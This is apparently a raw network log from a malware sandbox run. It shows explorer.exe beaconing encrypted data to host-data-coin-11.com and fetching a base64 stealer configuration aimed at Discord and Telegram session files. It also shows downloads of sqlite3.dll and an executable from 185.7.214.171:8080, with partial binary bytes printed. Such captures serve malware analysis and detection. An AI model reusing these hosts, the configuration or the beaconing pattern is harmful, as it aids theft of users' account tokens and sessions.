Jan 6, 2022 21:04:15.907571077 CET	3020	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Thu, 06 Jan 2022 20:04:15 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
27	192.168.2.4	49820	198.11.172.78	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jan 6, 2022 21:04:16.303181887 CET	3021	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://kdxudv.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 180 Host: host-data-coin-11.com
Jan 6, 2022 21:04:16.303200006 CET	3022	OUT	Data Raw: 10 87 81 98 19 f8 a1 b7 cc 38 76 3a 0d c2 e4 8e 31 10 ac 43 a2 40 6f 98 bd 9a ac fe ff a3 91 f7 68 b7 58 a7 10 1f bf e0 e0 ab f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 85 de 91 66 5d 02 c8 a1 c1 64 53 c7 a1 74 Data Ascii: 8v:1C@ohXwmDu$f]dStG[JX<X/h1Fhx4v<D>kg8{@vC.5JYxzdOtcO
Jan 6, 2022 21:04:16.853599072 CET	3022	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Thu, 06 Jan 2022 20:04:16 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
28	192.168.2.4	49821	198.11.172.78	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jan 6, 2022 21:04:17.062805891 CET	3023	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://imdtggchnw.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 210 Host: host-data-coin-11.com
Jan 6, 2022 21:04:17.062829971 CET	3023	OUT	Data Raw: 10 87 81 98 19 f8 a1 b7 cc 38 76 3a 0d c2 e4 8e 31 10 ac 43 a2 40 6f 98 bd 9a ac fe ff a3 91 f7 68 b7 58 a7 10 1f bf e0 e0 ab f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 85 de 8e 66 5d 02 c8 a1 c1 64 52 95 d7 6d Data Ascii: 8v:1C@ohXwmDu$f]dRm>\\|NyD}-cI[J{<r1<"\rH\|BdosFJ6V(-ec&tn~>K}&vE[mNTpy}?
Jan 6, 2022 21:04:17.619275093 CET	3024	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 06 Jan 2022 20:04:17 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
29	192.168.2.4	49822	198.11.172.78	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jan 6, 2022 21:04:17.671120882 CET	3024	OUT	GET /tratata.php HTTP/1.1 Host: file-file-host4.com Connection: Keep-Alive Cache-Control: no-cache
Jan 6, 2022 21:04:18.227905035 CET	3026	IN	HTTP/1.1 200 OK Server: nginx/1.20.2 Date: Thu, 06 Jan 2022 20:04:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=u14bif03gj65ojt3u38q4lhtqu; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Vary: Accept-Encoding Data Raw: 63 34 0d 0a 4d 58 77 78 66 44 46 38 4d 58 78 45 61 58 4e 6a 62 33 4a 6b 66 44 42 38 4a 55 46 51 55 45 52 42 56 45 45 6c 58 47 52 70 63 32 4e 76 63 6d 52 63 54 47 39 6a 59 57 77 67 55 33 52 76 63 6d 46 6e 5a 56 78 38 4b 6e 77 78 66 44 42 38 4d 48 78 55 5a 57 78 6c 5a 33 4a 68 62 58 77 77 66 43 56 42 55 46 42 45 51 56 52 42 4a 56 78 55 5a 57 78 6c 5a 33 4a 68 62 53 42 45 5a 58 4e 72 64 47 39 77 58 48 52 6b 59 58 52 68 58 48 77 71 52 44 67 33 4e 30 59 33 4f 44 4e 45 4e 55 51 7a 52 55 59 34 51 79 6f 73 4b 6d 31 68 63 43 6f 73 4b 6d 4e 76 62 6d 5a 70 5a 33 4d 71 66 44 46 38 4d 48 77 77 66 41 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: c4MXwxfDF8MXxEaXNjb3JkfDB8JUFQUERBVEElXGRpc2NvcmRcTG9jYWwgU3RvcmFnZVx8KnwxfDB8MHxUZWxlZ3JhbXwwfCVBUFBEQVRBJVxUZWxlZ3JhbSBEZXNrdG9wXHRkYXRhXHwqRDg3N0Y3ODNENUQzRUY4QyosKm1hcCosKmNvbmZpZ3MqfDF8MHwwfA==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.4	49863	67.199.248.14	443	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
30	192.168.2.4	49823	198.11.172.78	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jan 6, 2022 21:04:17.860344887 CET	3025	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://hcptglaf.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 235 Host: host-data-coin-11.com
Jan 6, 2022 21:04:17.861694098 CET	3025	OUT	Data Raw: 10 87 81 98 19 f8 a1 b7 cc 38 76 3a 0d c2 e4 8e 31 10 ac 43 a2 40 6f 98 bd 9a ac fe ff a3 91 f7 68 b7 58 a7 10 1f bf e0 e0 ab f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 85 de 8f 66 5d 02 c8 a1 c1 64 26 cf ba 7d Data Ascii: 8v:1C@ohXwmDu$f]d&}3~ED5/"6EUn#ji3$h(&B1K"aMZ tADVNXNfi:)~a(PN6-7jVD#gji;YI[*Wx
Jan 6, 2022 21:04:18.426033020 CET	3027	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Thu, 06 Jan 2022 20:04:18 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 32 62 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f 90 df 13 49 3c 5c a2 f7 d8 fc fb 46 f5 46 86 32 ef 06 10 c2 4b e1 e1 39 0d 0a 30 0d 0a 0d 0a Data Ascii: 2bI:82OI<\FF2K90

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
31	192.168.2.4	49824	198.11.172.78	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jan 6, 2022 21:04:18.508965015 CET	3027	OUT	GET /sqlite3.dll HTTP/1.1 Host: file-file-host4.com Cache-Control: no-cache Cookie: PHPSESSID=u14bif03gj65ojt3u38q4lhtqu
Jan 6, 2022 21:04:19.035324097 CET	3347	IN	HTTP/1.1 200 OK Server: nginx/1.20.2 Date: Thu, 06 Jan 2022 20:04:18 GMT Content-Type: application/x-msdos-program Content-Length: 645592 Connection: close Last-Modified: Wed, 08 Dec 2021 03:32:46 GMT ETag: "9d9d8-5d29a24b21380" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 13 00 ea 98 3d 53 00 76 08 00 3f 0c 00 00 e0 00 06 21 0b 01 02 15 00 d0 06 00 00 e0 07 00 00 06 00 00 58 10 00 00 00 10 00 00 00 e0 06 00 00 00 90 60 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 20 09 00 00 06 00 00 38 c3 0a 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 b0 07 00 98 19 00 00 00 d0 07 00 4c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 00 fc 27 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 07 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ac d1 07 00 70 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 c0 ce 06 00 00 10 00 00 00 d0 06 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 30 60 2e 64 61 74 61 00 00 00 b0 0f 00 00 00 e0 06 00 00 10 00 00 00 d6 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 c0 2e 72 64 61 74 61 00 00 24 ad 00 00 00 f0 06 00 00 ae 00 00 00 e6 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 40 2e 62 73 73 00 00 00 00 98 04 00 00 00 a0 07 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 40 c0 2e 65 64 61 74 61 00 00 98 19 00 00 00 b0 07 00 00 1a 00 00 00 94 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 4c 0a 00 00 00 d0 07 00 00 0c 00 00 00 ae 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 18 00 00 00 00 e0 07 00 00 02 00 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 f0 07 00 00 02 00 00 00 bc 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 fc 27 00 00 00 00 08 00 00 28 00 00 00 be 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 60 01 00 00 00 30 08 00 00 02 00 00 00 e6 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 c8 03 00 00 00 40 08 00 00 04 00 00 00 e8 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 35 00 00 00 00 00 4d 06 00 00 00 50 08 00 00 08 00 00 00 ec 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 35 31 00 00 00 00 00 60 43 00 00 00 60 08 00 00 44 00 00 00 f4 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 36 33 00 00 00 00 00 84 0d 00 00 00 b0 08 00 00 0e 00 00 00 38 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 37 37 00 00 00 00 00 94 0b 00 00 00 c0 08 00 00 0c 00 00 00 46 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 39 00 00 00 00 00 04 05 00 00 00 d0 08 00 00 06 00 00 00 52 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 31 30 32 00 00 00 00 0d 01 00 00 00 e0 08 00 00 02 00 00 00 58 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 31 31 33 00 00 00 00 db 19 00 00 00 f0 08 00 00 1a 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL=Sv?!X` 8 L'p.text`0`.data@@.rdata$@@@.bss@.edata@0@.idataL@0.CRT@0.tls @0.reloc'(@0B/4`0@@B/19@@B/35MP@B/51`C`D@B/638@B/77F@B/89R@0B/102X@B/113
Jan 6, 2022 21:04:19.035394907 CET	3349	IN	Data Raw: 5a 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 31 32 34 00 00 00 00 b0 01 00 00 00 10 09 00 00 02 00 00 00 74 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: Z@B/124t@B
Jan 6, 2022 21:04:19.035444975 CET	3350	IN	Data Raw: 04 c6 41 28 00 c6 41 29 00 c6 41 2b 00 83 c4 2c 5b 5e 5f c9 c3 55 89 e5 57 56 53 83 ec 2c 89 c3 80 78 28 00 0f 85 10 01 00 00 80 78 2a 00 75 1a c7 40 08 d0 07 00 00 c7 40 0c 01 00 00 00 c7 40 10 01 00 00 00 e9 ec 00 00 00 8b 00 8b 53 04 05 00 2e Data Ascii: A(A)A+,[^_UWVS,x(x*u@@@S.D$\&D$$T$`P,$5`}fUfUm]mE)`$,$5`m]muid)`$<$m]
Jan 6, 2022 21:04:19.035512924 CET	3352	IN	Data Raw: a1 18 a2 97 60 89 04 24 89 55 e4 e8 21 ff ff ff 89 1d 28 a2 97 60 8b 55 e4 89 15 2c a2 97 60 89 35 20 a2 97 60 89 3d 24 a2 97 60 8b 15 40 a2 97 60 83 ff 00 7c 1b 7f 05 83 fe 00 76 14 89 d3 c1 fb 1f b8 01 00 00 00 39 df 7c 08 7f 04 39 d6 76 02 31 Data Ascii: `$U!(`U,`5 `=$`@`\|v9\|9v1<``$1,[^_UWVS,(`t^@`5,`(``$UM\|$UMT$L$4$`$[(`5,`,[^_U8
Jan 6, 2022 21:04:19.035571098 CET	3353	IN	Data Raw: 40 a2 97 60 89 5d d8 89 da c1 fa 1f 89 55 dc 89 45 d0 99 89 55 d4 8b 15 20 a2 97 60 8b 0d 24 a2 97 60 2b 55 d0 1b 4d d4 39 4d dc 7c 0b 7f 04 39 d3 72 05 e8 fd fa ff ff 8b 45 e4 89 44 24 04 89 34 24 ff 15 34 e0 96 60 89 c3 85 c0 75 26 83 3d 28 a2 Data Ascii: @`]UEU `$`+UM9M\|9rED$4$4`u&=(`t1UT$4$4`t$4+E1`$ED$4$4`<[^_USta1{@umtP9~=u
Jan 6, 2022 21:04:19.035631895 CET	3354	IN	Data Raw: 75 e0 89 45 cc 80 fa 2e 0f 85 8b 00 00 00 01 cb bf 0a 00 00 00 eb 37 6b 75 d4 0a 8b 45 d0 f7 e7 89 45 a0 01 f2 89 55 a4 0f be 75 c4 83 ee 30 89 75 d0 89 f2 c1 fa 1f 89 55 d4 8b 45 a0 8b 55 a4 01 45 d0 11 55 d4 01 cb ff 45 c0 ff 4d cc 3b 5d c8 0f Data Ascii: uE.7kuEEUu0uUEUEUEM;]U}\|}wEB`uE;]B`u<Et<eub;]<-u<+u11!'kEt';]s
Jan 6, 2022 21:04:19.035695076 CET	3356	IN	Data Raw: c4 44 5b 5e 5f c9 c3 55 89 e5 57 56 53 83 ec 24 89 c1 89 55 e4 8a 00 3c 2d 75 08 41 bb 01 00 00 00 eb 0f 31 db 3c 2b 0f 94 c0 0f b6 c0 01 c1 eb 01 41 80 39 30 74 fa 31 f6 31 c0 31 d2 89 45 d8 89 55 dc 89 4d d4 eb 37 46 83 fe 0b 74 56 6b 45 dc 0a Data Ascii: D[^_UWVS$U<-uA1<+A90t111EUM7FtVkEEeEMU}EUMUMM<10x#~tu1$[^_EU]}+u}u}\|wUEtU
Jan 6, 2022 21:04:19.035747051 CET	3357	IN	Data Raw: 00 00 80 74 04 f7 d8 eb 05 b8 ff ff ff 7f c9 c3 55 89 e5 56 53 66 39 d0 0f bf c8 0f bf da 7c 19 8d 53 31 39 d1 7f 31 8d 53 1f 39 d1 7f 1b 29 d9 0f b6 91 dc 81 97 60 eb 1c 8d 71 31 89 d0 39 f3 7f 16 8d 51 1f 39 d3 7e 03 40 eb 0c 29 cb 0f b6 93 dc Data Ascii: tUVSf9\|S191S9)`q19Q9~@)`[^Uwv(.w1vQ(w2v+(w=wwwfN`UVS1ff
Jan 6, 2022 21:04:19.035798073 CET	3359	IN	Data Raw: 00 00 00 00 5b c9 c3 55 89 e5 8b 50 1c 8b 0a 89 48 20 85 c9 74 05 89 41 24 eb 0a 80 7a 1c 00 74 04 c6 42 1d 01 89 02 83 7a 04 00 75 03 89 42 04 83 7a 08 00 75 09 f6 40 18 04 75 03 89 42 08 c9 c3 55 89 e5 83 ec 18 8b 50 1c 80 7a 1c 00 74 27 83 78 Data Ascii: [UPH tA$ztBzuBzu@uBUPzt'xuB,D$D$B($`USf@HfCfu$CHCuY[Z[SX[US@tCH{u@,D$T$@($
Jan 6, 2022 21:04:19.035849094 CET	3360	IN	Data Raw: 83 78 0c 00 74 30 8b 18 8b 03 89 04 24 e8 c3 df ff ff 8b 73 04 c7 43 04 00 00 00 00 89 d8 e8 cb fe ff ff 89 73 04 8b 03 89 45 08 83 c4 10 5b 5e c9 e9 cf df ff ff 83 c4 10 5b 5e c9 c3 55 89 e5 56 53 83 ec 10 8b 5d 08 8b 03 8b 00 89 04 24 e8 81 df Data Ascii: xt0$sCsE[^[^UVS]$s$$[^UWVS,u]E>$EHEuG9Gv{GtXC__F CE,[^_*UWVS,]uE}
Jan 6, 2022 21:04:19.207201958 CET	3361	IN	Data Raw: df ff ff c7 43 5c 00 00 00 00 c7 43 60 00 00 00 00 c7 43 34 00 00 00 00 83 c4 10 5b 5e c9 c3 55 89 e5 0f b6 ca 83 f9 0a 74 05 83 f9 0d 75 07 89 50 28 c6 40 0f 06 89 d0 c9 c3 55 89 e5 83 ec 18 8b 10 8b 52 2c 85 d2 74 13 89 04 24 ff d2 89 c2 b8 00 Data Ascii: C\C`C4[^UtuP(@UR,t$~~USxu@<tC<[[UVS@dpC*C\C`-[^UWV

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
32	192.168.2.4	49825	185.7.214.171	8080	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jan 6, 2022 21:04:18.521732092 CET	3027	OUT	GET /6.php HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: 185.7.214.171:8080
Jan 6, 2022 21:04:18.586072922 CET	3029	IN	HTTP/1.1 200 OK Date: Thu, 06 Jan 2022 20:04:18 GMT Server: Apache/2.4.6 (CentOS) PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Transfer-Encoding: Binary Content-disposition: attachment; filename="wldhzkk2nk1.exe" Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Transfer-Encoding: chunked Content-Type: application/octet-stream Data Raw: 34 61 65 30 30 0d 0a 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 fd da ab ac b9 bb c5 ff b9 bb c5 ff b9 bb c5 ff a7 e9 50 ff a8 bb c5 ff a7 e9 46 ff ca bb c5 ff 9e 7d be ff ba bb c5 ff b9 bb c4 ff 7c bb c5 ff a7 e9 41 ff 80 bb c5 ff a7 e9 51 ff b8 bb c5 ff a7 e9 54 ff b8 bb c5 ff 52 69 63 68 b9 bb c5 ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 08 00 59 31 4b 60 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 09 00 00 b4 03 00 00 02 02 00 00 00 00 00 a0 c8 01 00 00 10 00 00 00 d0 03 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 10 06 00 00 04 00 00 5d fb 04 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 a4 b2 03 00 28 00 00 00 00 30 05 00 70 90 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 05 00 68 1b 00 00 30 13 00 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 8a 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 e0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 9e b3 03 00 00 10 00 00 00 b4 03 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 00 20 01 00 00 d0 03 00 00 14 00 00 00 b8 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 64 6f 73 6f 00 00 00 05 00 00 00 00 f0 04 00 00 02 00 00 00 cc 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 66 65 74 69 00 00 00 4b 00 00 00 00 00 05 00 00 02 00 00 00 ce 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 6a 75 73 75 63 00 00 ea 00 00 00 00 10 05 00 00 02 00 00 00 d0 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 79 65 67 6f 73 61 00 93 0d 00 00 00 20 05 00 00 0e 00 00 00 d2 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 70 90 00 00 00 30 05 00 00 92 00 00 00 e0 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 04 3a 00 00 00 d0 05 00 00 3c 00 00 00 72 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: 4ae00MZ@!L!This program cannot be run in DOS mode.$PF}\|AQTRichPELY1K`@](0ph0x@.text `.data @.doso@.fetiK@.jusuc@.yegosa @.rsrcp0@@.reloc:<r@B

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
33	192.168.2.4	49826	198.11.172.78	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jan 6, 2022 21:04:20.693377018 CET	4032	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://wybru.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 169 Host: host-data-coin-11.com
Jan 6, 2022 21:04:20.694706917 CET	4033	OUT	Data Raw: 10 87 81 98 19 f8 a1 b7 cc 38 76 3a 0d c2 e4 8e 31 10 ac 43 a2 40 6f 98 bd 9a ac fe ff a3 91 f7 68 b7 58 a7 10 1f bf e0 e0 ab f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 84 de 8f 66 5d 02 c9 a1 c1 64 4d c1 d8 66 Data Ascii: 8v:1C@ohXwmDu$f]dMf+ejMwK]9-FW_f}g9I`r>7!klx1C+cRw~"
